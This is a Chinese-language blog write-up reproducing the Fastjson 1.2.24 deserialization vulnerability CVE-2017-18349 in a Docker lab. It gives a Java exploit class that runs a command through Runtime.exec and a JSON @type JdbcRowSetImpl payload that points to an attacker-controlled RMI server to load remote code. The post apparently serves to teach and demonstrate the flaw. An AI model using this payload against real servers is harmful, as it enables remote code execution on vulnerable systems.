首页 > 其他分享 >漏洞复现报告:CVE-2017-18349

漏洞复现报告:CVE-2017-18349

时间:2023-08-19 18:32:20浏览次数:39  
标签:Fastjson fastjson java sun 远程 漏洞 18349 CVE 2017

漏洞简介

CVE-2017-18349是Fastjson 1.2.24版本中的一个反序列化漏洞,该漏洞可能导致远程代码执行(RCE)。Fastjson是一种用于处理JSON数据的Java库,该漏洞允许hacker通过构造恶意的JSON数据来执行任意代码。

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本为 fastjson < 1.2.25


漏洞复现

首先进入fastjson 1.2.24的docker环境,使用java -version查看一下java的版本为1.8.0_102。因为java环境为102,没有com.sun

.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

exp:需要编译成class字节码文件,放在服务器上供靶机远程调用

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;


public class TouchFile {

   static {

       try {

           Runtime rt = Runtime.getRuntime();

           String[] commands = {"touch", "/tmp/test"};

           Process pc = rt.exec(commands);

           pc.waitFor();

       } catch (Exception e) {

           // do nothing

       }

   }

}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

漏洞复现报告:CVE-2017-18349_json

访问漏洞链接,抓包改包。

修改请求方式为POST,Content-Type: application/jsondata:

{

   "b":{

       "@type":"com.sun.rowset.JdbcRowSetImpl",

       "dataSourceName":"rmi://192.168.255.128:9999/#evilclass",

       "autoCommit":true

   }

}

漏洞复现报告:CVE-2017-18349_json_02

进入容器查看是否执行成功(exp在tmp目录下创建一个test文件)。

docker exec -it 容器id bash

漏洞复现报告:CVE-2017-18349_java_03

漏洞修复

安装最新版本或打上官方补丁

标签:Fastjson,fastjson,java,sun,远程,漏洞,18349,CVE,2017
From: https://blog.51cto.com/u_15854462/7151134

相关文章

  • nacos权限绕过漏洞(CVE-2021-29441)修复过程
    1、开启服务身份识别功能修改nacos的application.properties配置文件nacos.core.auth.enabled=true,2、重启nacos进入nacos下的bin目录单机模式shstartup.sh-mstandalone集群shstartup.shNacos3、注册及配置中心开启权限认证,所有服务都要改重新发版......
  • Visual Studio (VS)2017开发工具下载和安装教程
    MicrosoftVisualStudio(简称VS)是美国微软公司的开发工具包系列产品。是目前最流行的Windows平台应用程序的集成开发环境。VS是一个基本完整的开发工具集,它包括了整个软件生命周期中所需要的大部分工具,如UML工具、代码管控工具、集成开发环境(IDE)等等。软件获取: www.momorj.com/?......
  • 在 Linux 上安装 SQL Server 2017
    概述通过将平台抽象层(PAL)引入SQLServer,Linux上的SQLServer成为可能。PAL将所有操作系统特定代码集中在一处,并允许其余代码保持独立于操作系统。PAL是Microsoft研究项目Drawbridge的成果。目前,RedHatEnterpriseServer、SUSELinuxEnterpriseServer和Ubunt......
  • P3780 [SDOI2017] 苹果树 题解
    DescriptionP3780[SDOI2017]苹果树给定一棵\(n\)个点的树,每个点有若干个价值相同的苹果,儿子能摘至少一个仅当父亲被摘至少一个。给定\(k\),设\(h\)为你摘的苹果的最大深度,你做多能摘\(k+h\)个,求最大价值。对于所有数据,\(1\len\le5\times10^4\),\(1\lek\le5\time......
  • 春秋云镜像-CVE-2022-0788
    准备:攻击机:win10。靶机:春秋云镜像-CVE-2022-0788。写这个的时候在网上想查找下该漏洞的利用方式,没有找到相关的资料,因此记录下自己通过这个靶场的poc与exp。curl'http://eci-2ze4uhij7kcjyftbwltx.cloudeci1.ichunqiu.com/index.php?rest_route=/xs-donate-form/payment-......
  • Apache HTTPd RCE漏洞复现(cve-2021-41773)
    0x01漏洞简介:      ApacheHTTPd是Apache基金会开源的一款流行的HTTP服务器。在ApacheHTTPd2.4.49版本中,存在一个路径穿越漏洞。在配置了Requireallgranted后,攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件,比如/etc/passwd文件。同时若ApacheHTTPd开启了......
  • Nginx文件名逻辑漏洞复现CVE-2013-4547
    Nginx文件名逻辑漏洞复现CVE-2013-4547前置知识本次针对的是中间件NginxNginx是什么?Nginx(发音为“engine-x”)是一个高性能的开源Web服务器软件。它以异步事件驱动的方式处理客户端请求,具有占用资源少、处理并发连接能力强和稳定性高等特点。Nginx还可以用作反向代理服务器......
  • Apache HTTPd换行解析漏洞复现CVE-2017-15715
    ApacheHTTPd换行解析漏洞复现CVE-2017-15715漏洞利用漏洞利用条件Apache:2.4.0~2.4.29实际存到后端时的文件名可控漏洞利用方式bp中更改存放到后端的文件名假设原文件名为"evil.php"文件存放在网站根目录下evil.php的内容为:<?php@eval($_REQUEST[1]);?>操作:......
  • 漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞
    1.简介jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。据一项调查报告,在对4......
  • Apache Flink目录遍历漏洞复现CVE-2020-17519
    ApacheFlink目录遍历漏洞复现CVE-2020-17519前置知识ApacheFlink:ApacheFlink是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。漏洞利用条件:ApacheFlink版本为1.11.0......